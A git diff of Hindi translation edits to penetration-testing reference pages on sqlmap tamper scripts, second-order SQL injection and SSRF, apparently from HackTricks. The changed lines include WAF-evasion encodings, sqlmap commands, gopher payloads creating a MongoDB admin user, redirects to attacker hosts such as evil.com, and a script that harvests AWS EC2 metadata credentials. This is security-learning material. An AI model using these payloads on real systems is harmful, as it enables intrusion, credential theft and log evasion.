| chardoubleencode.py | दिए गए पेलोड में सभी चरित्रों को डबल URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
| bluecoat.py | SQL कथन के बाद स्पेस चर को एक मान्य यादृच्छिक खाली चर के साथ बदलता है। इसके बाद चर = को LIKE ऑपरेटर के साथ बदलता है |
|
||||
| chardoubleencode.py | दिए गए पेलोड में सभी चर को डबल URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
| commalesslimit.py | 'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है |
|
||||
| commalessmid.py | 'MID(A, B, C)' जैसे उदाहरणों को 'MID(A FROM B FOR C)' के साथ बदलता है |
|
||||
| concat2concatws.py | 'CONCAT(A, B)' जैसे उदाहरणों को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है |
|
||||
| charencode.py | दिए गए पेलोड में सभी चरित्रों को URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
| charunicodeencode.py | दिए गए पेलोड में गैर-एन्कोडेड चरित्रों को यूनिकोड-यूआरएल-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "%u0022" |
|
||||
| charunicodeescape.py | दिए गए पेलोड में गैर-एन्कोडेड चरित्रों को यूनिकोड-यूआरएल-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "\u0022" |
|
||||
| charencode.py | दिए गए पेलोड में सभी चर को URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
| charunicodeencode.py | दिए गए पेलोड में गैर-एन्कोडेड चर को यूनिकोड-यूआरएल-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "%u0022" |
|
||||
| charunicodeescape.py | दिए गए पेलोड में गैर-एन्कोडेड चर को यूनिकोड-यूआरएल-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "\u0022" |
|
||||
| equaltolike.py | समानता ऑपरेटर ('=') के सभी उदाहरणों को 'LIKE' ऑपरेटर के साथ बदलता है |
|
||||
| escapequotes.py | उद्धरण चिह्नों (' और ") को स्लैश से एस्केप करता है |
|
||||
| greatest.py | बड़े से बड़ा ऑपरेटर ('>') को 'GREATEST' समकक्ष के साथ बदलता है |
|
||||
@ -162,26 +162,26 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| modsecurityzeroversioned.py | पूर्ण क्वेरी को शून्य-संस्करणित टिप्पणी के साथ घेरता है |
|
||||
| multiplespaces.py | SQL कीवर्ड के चारों ओर कई स्पेस जोड़ता है |
|
||||
| nonrecursivereplacement.py | पूर्वनिर्धारित SQL कीवर्ड को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्व के साथ बदलता है (जैसे .replace("SELECT", "")) फ़िल्टर |
|
||||
| percentage.py | प्रत्येक चरित्र के सामने एक प्रतिशत चिह्न ('%') जोड़ता है |
|
||||
| overlongutf8.py | दिए गए पेलोड में सभी चरित्रों को परिवर्तित करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
| randomcase.py | प्रत्येक कीवर्ड चरित्र को यादृच्छिक केस मान के साथ बदलता है |
|
||||
| percentage.py | प्रत्येक चर के सामने एक प्रतिशत चिह्न ('%') जोड़ता है |
|
||||
| overlongutf8.py | दिए गए पेलोड में सभी चर को परिवर्तित करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
| randomcase.py | प्रत्येक कीवर्ड चर को यादृच्छिक केस मान के साथ बदलता है |
|
||||
| randomcomments.py | SQL कीवर्ड में यादृच्छिक टिप्पणियाँ जोड़ता है |
|
||||
| securesphere.py | विशेष रूप से तैयार किया गया स्ट्रिंग जोड़ता है |
|
||||
| sp_password.py | पेलोड के अंत में 'sp_password' जोड़ता है ताकि DBMS लॉग से स्वचालित रूप से छिपाया जा सके |
|
||||
| space2comment.py | स्पेस चरित्र (' ') को टिप्पणियों के साथ बदलता है |
|
||||
| space2dash.py | स्पेस चरित्र (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') आती है |
|
||||
| space2hash.py | स्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') आती है |
|
||||
| space2morehash.py | स्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') आती है |
|
||||
| space2mssqlblank.py | स्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है |
|
||||
| space2mssqlhash.py | स्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') आती है |
|
||||
| space2mysqlblank.py | स्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है |
|
||||
| space2mysqldash.py | स्पेस चरित्र (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') आती है |
|
||||
| space2plus.py | स्पेस चरित्र (' ') को प्लस ('+') के साथ बदलता है |
|
||||
| space2randomblank.py | स्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है |
|
||||
| symboliclogical.py | AND और OR तार्किक ऑपरेटरों को उनके प्रतीकात्मक समकक्ष (&& और) के साथ बदलता है |
|
||||
| sp_password.py | DBMS लॉग से स्वचालित छिपाने के लिए पेलोड के अंत में 'sp_password' जोड़ता है |
|
||||
| space2comment.py | स्पेस चर (' ') को टिप्पणियों के साथ बदलता है |
|
||||
| space2dash.py | स्पेस चर (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
|
||||
| space2hash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
|
||||
| space2morehash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
|
||||
| space2mssqlblank.py | स्पेस चर (' ') को वैध वैकल्पिक चर के सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
|
||||
| space2mssqlhash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') होती है |
|
||||
| space2mysqlblank.py | स्पेस चर (' ') को वैध वैकल्पिक चर के सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
|
||||
| space2mysqldash.py | स्पेस चर (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') होती है |
|
||||
| space2plus.py | स्पेस चर (' ') को प्लस ('+') के साथ बदलता है |
|
||||
| space2randomblank.py | स्पेस चर (' ') को वैध वैकल्पिक चर के सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
|
||||
| symboliclogical.py | AND और OR तार्किक ऑपरेटर को उनके प्रतीकात्मक समकक्ष (&& और |
|
||||
| unionalltounion.py | UNION ALL SELECT को UNION SELECT के साथ बदलता है |
|
||||
| unmagicquotes.py | उद्धरण चरित्र (') को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में एक सामान्य टिप्पणी (काम करने के लिए) |
|
||||
| uppercase.py | प्रत्येक कीवर्ड चरित्र को बड़े अक्षर के मान 'INSERT' के साथ बदलता है |
|
||||
| unmagicquotes.py | उद्धरण चर (') को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में एक सामान्य टिप्पणी (काम करने के लिए) |
|
||||
| uppercase.py | प्रत्येक कीवर्ड चर को बड़े अक्षर के मान 'INSERT' के साथ बदलता है |
|
||||
| varnish.py | एक HTTP हेडर 'X-originating-IP' जोड़ता है |
|
||||
| versionedkeywords.py | प्रत्येक गैर-कार्य कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
| versionedmorekeywords.py | प्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
|
@ -6,7 +6,7 @@
|
||||
- वह **अनुरोध** जहाँ **sqlinjection payload** को सहेजा जाएगा
|
||||
- वह **अनुरोध** जहाँ **payload** को **निष्पादित** किया जाएगा
|
||||
|
||||
SQL injection payload को सहेजने वाला अनुरोध **sqlmap में किसी अन्य इंजेक्शन की तरह संकेतित किया गया है**। वह अनुरोध **जहाँ sqlmap इंजेक्शन का आउटपुट/निष्पादन पढ़ सकता है** उसे `--second-url` या `--second-req` के साथ संकेतित किया जा सकता है यदि आपको किसी फ़ाइल से एक पूर्ण अनुरोध संकेतित करने की आवश्यकता है।
|
||||
SQL injection payload को सहेजने वाला अनुरोध **sqlmap में किसी अन्य injection की तरह संकेतित किया गया है**। वह अनुरोध **जहाँ sqlmap injection का आउटपुट/निष्पादन पढ़ सकता है** उसे `--second-url` या `--second-req` के साथ संकेतित किया जा सकता है यदि आपको किसी फ़ाइल से एक पूर्ण अनुरोध संकेतित करने की आवश्यकता है।
|
||||
|
||||
**सरल द्वितीय क्रम उदाहरण:**
|
||||
```bash
|
||||
@ -16,7 +16,7 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
|
||||
#Get the SQL payload execution sending a custom request from a file
|
||||
sqlmap -r login.txt -p username --second-req details.txt
|
||||
```
|
||||
कई मामलों में **यह पर्याप्त नहीं होगा** क्योंकि आपको **पेलोड भेजने** और एक अलग पृष्ठ पर पहुँचने के अलावा **अन्य क्रियाएँ करने** की आवश्यकता होगी।
|
||||
कई मामलों में **यह पर्याप्त नहीं होगा** क्योंकि आपको **पेलोड भेजने** और एक अलग पृष्ठ पर पहुंचने के अलावा **अन्य क्रियाएं करने** की आवश्यकता होगी।
|
||||
|
||||
जब इसकी आवश्यकता हो, तो आप **sqlmap tamper** का उपयोग कर सकते हैं। उदाहरण के लिए, निम्नलिखित स्क्रिप्ट एक नए उपयोगकर्ता को **sqlmap पेलोड को ईमेल के रूप में** पंजीकृत करेगी और लॉगआउट करेगी।
|
||||
```python
|
||||
@ -50,7 +50,7 @@ return payload
|
||||
|
||||
तो, यदि किसी कारणवश हमें दूसरे क्रम के SQL इंजेक्शन का शोषण करने के लिए एक अधिक जटिल प्रवाह की आवश्यकता है जैसे:
|
||||
|
||||
- "email" फ़ील्ड के अंदर SQLi पेलोड के साथ एक खाता बनाना
|
||||
- "ईमेल" फ़ील्ड के अंदर SQLi पेलोड के साथ एक खाता बनाना
|
||||
- लॉगआउट करना
|
||||
- उस खाते के साथ लॉगिन करना (login.txt)
|
||||
- SQL इंजेक्शन निष्पादित करने के लिए एक अनुरोध भेजना (second.txt)
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## बुनियादी जानकारी
|
||||
## मूल जानकारी
|
||||
|
||||
एक **सर्वर-साइड अनुरोध धोखाधड़ी (SSRF)** सुरक्षा दोष तब उत्पन्न होता है जब एक हमलावर एक **सर्वर-साइड एप्लिकेशन** को उनके द्वारा चुने गए डोमेन पर **HTTP अनुरोध** करने के लिए हेरफेर करता है। यह सुरक्षा दोष सर्वर को हमलावर द्वारा निर्देशित मनमाने बाहरी अनुरोधों के प्रति उजागर करता है।
|
||||
एक **सर्वर-साइड अनुरोध धोखाधड़ी (SSRF)** सुरक्षा दोष तब उत्पन्न होता है जब एक हमलावर एक **सर्वर-साइड एप्लिकेशन** को अपने द्वारा चुने गए डोमेन पर **HTTP अनुरोध** करने के लिए हेरफेर करता है। यह सुरक्षा दोष सर्वर को हमलावर द्वारा निर्देशित मनमाने बाहरी अनुरोधों के प्रति उजागर करता है।
|
||||
|
||||
## SSRF कैप्चर करें
|
||||
|
||||
@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
||||
4. connect
|
||||
```
|
||||
- **Curl URL globbing - WAF बायपास**
|
||||
- यदि SSRF **curl** द्वारा निष्पादित किया जाता है, तो curl में [**URL globbing**](https://everything.curl.dev/cmdline/globbing) नामक एक विशेषता है जो WAFs को बायपास करने के लिए उपयोगी हो सकती है। उदाहरण के लिए, इस [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) में आप **`file` प्रोटोकॉल** के माध्यम से एक **पाथ ट्रैवर्सल** का उदाहरण पा सकते हैं:
|
||||
- यदि SSRF **curl** द्वारा निष्पादित किया जाता है, तो curl में [**URL globbing**](https://everything.curl.dev/cmdline/globbing) नामक एक विशेषता है जो WAFs को बायपास करने के लिए उपयोगी हो सकती है। उदाहरण के लिए, इस [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) में आप **`file` प्रोटोकॉल के माध्यम से पथ यात्रा** के लिए यह उदाहरण पा सकते हैं:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
@ -95,7 +95,7 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
||||
?>Now query it.
|
||||
https://example.com/?q=http://evil.com/redirect.php.
|
||||
```
|
||||
#### Gopher MongoDB -- उपयोगकर्ता बनाएं जिसका उपयोगकर्ता नाम=admin हो, पासवर्ड=admin123 हो और अनुमति=administrator हो
|
||||
#### Gopher MongoDB -- उपयोगकर्ता बनाएं जिसका उपयोगकर्ता नाम=admin, पासवर्ड=admin123 और अनुमति=administrator हो
|
||||
```bash
|
||||
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
||||
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
@ -121,7 +121,7 @@ ssl_preread on;
|
||||
}
|
||||
}
|
||||
```
|
||||
इस कॉन्फ़िगरेशन में, Server Name Indication (SNI) फ़ील्ड से मान को सीधे बैकएंड के पते के रूप में उपयोग किया जाता है। यह सेटअप Server-Side Request Forgery (SSRF) के लिए एक भेद्यता को उजागर करता है, जिसे केवल SNI फ़ील्ड में इच्छित IP पते या डोमेन नाम को निर्दिष्ट करके शोषित किया जा सकता है। एक शोषण उदाहरण जो `openssl` कमांड का उपयोग करके किसी मनमाने बैकएंड, जैसे `internal.host.com`, से कनेक्शन को मजबूर करता है, नीचे दिया गया है:
|
||||
इस कॉन्फ़िगरेशन में, सर्वर नाम संकेत (SNI) फ़ील्ड से मान को सीधे बैकएंड के पते के रूप में उपयोग किया जाता है। यह सेटअप सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए एक भेद्यता को उजागर करता है, जिसे केवल SNI फ़ील्ड में इच्छित IP पते या डोमेन नाम को निर्दिष्ट करके शोषण किया जा सकता है। एक शोषण उदाहरण जो `openssl` कमांड का उपयोग करके किसी मनमाने बैकएंड, जैसे `internal.host.com`, से कनेक्शन को मजबूर करता है, नीचे दिया गया है:
|
||||
```bash
|
||||
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
```
|
||||
@ -133,7 +133,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
|
||||
## PDFs रेंडरिंग
|
||||
|
||||
यदि वेब पृष्ठ स्वचालित रूप से आपके द्वारा प्रदान की गई कुछ जानकारी के साथ एक PDF बना रहा है, तो आप **कुछ JS डाल सकते हैं जो PDF निर्माता** (सर्वर) द्वारा PDF बनाते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। [**यहां अधिक जानकारी प्राप्त करें**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
यदि वेब पृष्ठ स्वचालित रूप से आपके द्वारा प्रदान की गई कुछ जानकारी के साथ एक PDF बना रहा है, तो आप **कुछ JS डाल सकते हैं जो PDF निर्माता** (सर्वर) द्वारा PDF बनाते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। [**यहाँ अधिक जानकारी प्राप्त करें**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## SSRF से DoS तक
|
||||
|
||||
@ -149,7 +149,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
|
||||
## Gopher के लिए SSRF रीडायरेक्ट
|
||||
|
||||
कुछ शोषणों के लिए आपको **एक रीडायरेक्ट प्रतिक्रिया भेजने** की आवश्यकता हो सकती है (संभवतः गॉफ़र जैसे विभिन्न प्रोटोकॉल का उपयोग करने के लिए)। यहां आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:
|
||||
कुछ शोषणों के लिए आपको **रीडायरेक्ट प्रतिक्रिया भेजने** की आवश्यकता हो सकती है (संभवतः गॉफ़र जैसे विभिन्न प्रोटोकॉल का उपयोग करने के लिए)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:
|
||||
```python
|
||||
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
@ -253,7 +253,7 @@ Connection: close
|
||||
```
|
||||
## DNS Rebidding CORS/SOP बायपास
|
||||
|
||||
यदि आप **CORS/SOP** के कारण **स्थानीय IP** से **सामग्री निकालने में समस्याएँ** का सामना कर रहे हैं, तो **DNS Rebidding** का उपयोग उस सीमा को बायपास करने के लिए किया जा सकता है:
|
||||
यदि आप **CORS/SOP** के कारण **स्थानीय IP** से **सामग्री निकालने** में **समस्याओं** का सामना कर रहे हैं, तो **DNS Rebidding** का उपयोग उस सीमा को बायपास करने के लिए किया जा सकता है:
|
||||
|
||||
{{#ref}}
|
||||
../cors-bypass.md
|
||||
@ -279,12 +279,12 @@ Connection: close
|
||||
2. **DNS** का **TTL** **0** सेकंड है (इसलिए पीड़ित जल्द ही डोमेन के IP की जांच करेगा)
|
||||
3. पीड़ित और हमलावर के डोमेन के बीच एक **TLS कनेक्शन** बनाया जाता है। हमलावर **सत्र ID या सत्र टिकट** के अंदर **पेलोड** पेश करता है।
|
||||
4. **डोमेन** अपने खिलाफ **अनंत लूप** के रीडायरेक्ट शुरू करेगा। इसका लक्ष्य यह है कि उपयोगकर्ता/बॉट डोमेन तक पहुँचता रहे जब तक कि वह **फिर से** डोमेन का **DNS अनुरोध** न करे।
|
||||
5. DNS अनुरोध में एक **निजी IP** पता **अब** दिया जाता है (उदाहरण के लिए 127.0.0.1)
|
||||
5. DNS अनुरोध में अब एक **निजी IP** पता दिया जाता है (उदाहरण के लिए 127.0.0.1)
|
||||
6. उपयोगकर्ता/बॉट **TLS कनेक्शन को फिर से स्थापित करने** की कोशिश करेगा और ऐसा करने के लिए वह **सत्र** ID/टिकट ID (जहाँ **पेलोड** हमलावर का था) भेजेगा। तो बधाई हो, आपने **उपयोगकर्ता/बॉट को खुद पर हमला करने** के लिए कहने में सफलता प्राप्त की।
|
||||
|
||||
ध्यान दें कि इस हमले के दौरान, यदि आप localhost:11211 (_memcache_) पर हमला करना चाहते हैं, तो आपको पीड़ित को www.attacker.com:11211 के साथ प्रारंभिक कनेक्शन स्थापित करने के लिए कहना होगा ( **पोर्ट हमेशा समान होना चाहिए**)।\
|
||||
इस हमले को **अंजाम देने के लिए आप इस उपकरण का उपयोग कर सकते हैं**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
**अधिक जानकारी के लिए** उस वार्ता को देखें जहाँ इस हमले की व्याख्या की गई है: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
|
||||
**अधिक जानकारी** के लिए उस वार्ता को देखें जहाँ इस हमले की व्याख्या की गई है: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
|
||||
|
||||
## ब्लाइंड SSRF
|
||||
|
||||
@ -333,11 +333,11 @@ SSRF कमजोरियों का पता लगाने और शो
|
||||
|
||||
- [SSRF उपयोग पर ब्लॉग पोस्ट](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_ एक _Java RMI_ कमजोरियों का स्कैनर है जो अधिकांश सामान्य _Java RMI_ कमजोरियों के लिए हमले के संचालन का समर्थन करता है। उपलब्ध अधिकांश संचालन `--ssrf` विकल्प का समर्थन करते हैं, अनुरोधित संचालन के लिए _SSRF_ पेलोड उत्पन्न करने के लिए। `--gopher` विकल्प के साथ, सीधे उपयोग के लिए _gopher_ पेलोड उत्पन्न किए जा सकते हैं।
|
||||
_remote-method-guesser_ एक _Java RMI_ कमजोरियों का स्कैनर है जो अधिकांश सामान्य _Java RMI_ कमजोरियों के लिए हमले के संचालन का समर्थन करता है। उपलब्ध अधिकांश संचालन `--ssrf` विकल्प का समर्थन करते हैं, जो अनुरोधित संचालन के लिए _SSRF_ पेलोड उत्पन्न करता है। `--gopher` विकल्प के साथ, सीधे उपयोग के लिए _gopher_ पेलोड उत्पन्न किए जा सकते हैं।
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
|
||||
|
||||
SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जिसे सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के प्रति संवेदनशील HTTP सर्वरों के माध्यम से क्लाइंट HTTP ट्रैफ़िक को टनल करने के लिए डिज़ाइन किया गया है।
|
||||
SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जिसे HTTP सर्वरों के माध्यम से क्लाइंट HTTP ट्रैफ़िक को टनल करने के लिए डिज़ाइन किया गया है जो सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए कमजोर हैं।
|
||||
|
||||
### अभ्यास करने के लिए
|
||||
|
||||
|
@ -8,14 +8,14 @@
|
||||
|
||||
**मेटाडेटा** एंडपॉइंट को किसी भी EC2 मशीन के अंदर से एक्सेस किया जा सकता है और यह इसके बारे में दिलचस्प जानकारी प्रदान करता है। यह URL में उपलब्ध है: `http://169.254.169.254` ([मेटाडेटा के बारे में जानकारी यहाँ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))।
|
||||
|
||||
मेटाडेटा एंडपॉइंट के **2 संस्करण** हैं। **पहला** संस्करण **GET** अनुरोधों के माध्यम से एंडपॉइंट को **एक्सेस** करने की अनुमति देता है (इसलिए कोई भी **SSRF इसका दुरुपयोग कर सकता है**)। **संस्करण 2** के लिए, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), आपको एक **टोकन** के लिए **PUT** अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ मेटाडेटा को एक्सेस करना होगा (इसलिए इसे SSRF के साथ **दुरुपयोग करना अधिक जटिल है**)।
|
||||
मेटाडेटा एंडपॉइंट के **2 संस्करण** हैं। **पहला** संस्करण **GET** अनुरोधों के माध्यम से एंडपॉइंट को **एक्सेस** करने की अनुमति देता है (इसलिए कोई भी **SSRF इसका दुरुपयोग कर सकता है**)। **संस्करण 2** के लिए, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), आपको एक **टोकन** के लिए **PUT** अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके मेटाडेटा को एक अन्य HTTP हेडर के साथ एक्सेस करना होगा (इसलिए इसे SSRF के साथ **दुरुपयोग करना अधिक जटिल है**)।
|
||||
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेजों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **हॉप लिमिट 1** होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा को एक्सेस करना असंभव हो जाएगा।
|
||||
>
|
||||
> इसके अलावा, **IMDSv2** भी **`X-Forwarded-For` हेडर शामिल करने वाले टोकन को प्राप्त करने के लिए अनुरोधों को ब्लॉक करेगा**। यह गलत कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी को इसे एक्सेस करने से रोकने के लिए है।
|
||||
|
||||
आप [दस्तावेजों में मेटाडेटा एंडपॉइंट्स के बारे में जानकारी प्राप्त कर सकते हैं](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)। निम्नलिखित स्क्रिप्ट से कुछ दिलचस्प जानकारी प्राप्त की जाती है:
|
||||
आप [दस्तावेजों में मेटाडेटा एंडपॉइंट के बारे में जानकारी](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) पा सकते हैं। निम्नलिखित स्क्रिप्ट से इसमें से कुछ दिलचस्प जानकारी प्राप्त की जाती है:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
@ -79,7 +79,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
|
||||
|
||||
आप सार्वजनिक **EC2 सुरक्षा क्रेडेंशियल्स** भी देख सकते हैं: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
आप फिर **उन क्रेडेंशियल्स को AWS CLI के साथ उपयोग कर सकते हैं**। यह आपको **उस भूमिका के पास जो अनुमतियाँ हैं, उन्हें करने की अनुमति देगा**।
|
||||
आप फिर **उन क्रेडेंशियल्स को AWS CLI के साथ उपयोग कर सकते हैं**। यह आपको **उस भूमिका के पास जो अनुमति है, वह सब कुछ करने की अनुमति देगा**।
|
||||
|
||||
नए क्रेडेंशियल्स का लाभ उठाने के लिए, आपको इस तरह का एक नया AWS प्रोफ़ाइल बनाना होगा:
|
||||
```
|
||||
@ -88,17 +88,17 @@ aws_access_key_id = ASIA6GG71[...]
|
||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
ध्यान दें कि **aws_session_token** आवश्यक है ताकि प्रोफ़ाइल काम कर सके।
|
||||
**aws_session_token** पर ध्यान दें, यह प्रोफ़ाइल के काम करने के लिए अनिवार्य है।
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) का उपयोग खोजे गए क्रेडेंशियल्स के साथ आपके विशेषाधिकारों का पता लगाने और विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
|
||||
|
||||
### AWS ECS (कंटेनर सेवा) क्रेडेंशियल्स में SSRF
|
||||
|
||||
